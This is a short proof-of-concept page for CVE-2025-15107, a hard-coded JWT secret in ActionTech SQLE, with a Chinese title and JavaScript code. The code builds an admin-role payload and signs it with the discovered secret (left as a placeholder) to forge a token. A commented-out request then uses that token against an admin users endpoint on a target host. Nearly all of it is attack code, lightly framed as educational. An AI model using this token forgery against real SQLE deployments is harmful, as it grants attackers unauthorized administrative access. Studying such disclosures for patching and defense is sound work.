CVE-2025-15107: ActionTech SQLE JWT硬编码密钥漏洞

// CVE-2025-15107 PoC - JWT Token Forgery using Hard-coded Key // Note: This is a conceptual PoC for educational purposes const jwt = require('jsonwebtoken'); // Hard-coded JWT secret found in sqle/utils/jwt.go const HARDCODED_SECRET = 'your-discovered-secret-key'; // Original payload structure from SQLE application const originalPayload = { user_id: 1, username: 'admin', role: 'admin', iat: Math.floor(Date.now() / 1000), exp: Math.floor(Date.now() / 1000) + 86400 }; // Forge a JWT token with elevated privileges const forgedToken = jwt.sign(originalPayload, HARDCODED_SECRET, { algorithm: 'HS256', issuer: 'actiontech-sqle', subject: '[email protected]' }); console.log('Forged JWT Token:'); console.log(forgedToken); // Use the token in API requests // const response = await fetch('https://target-sqle/api/v1/admin/users', { // headers: { 'Authorization': `Bearer ${forgedToken}` } // });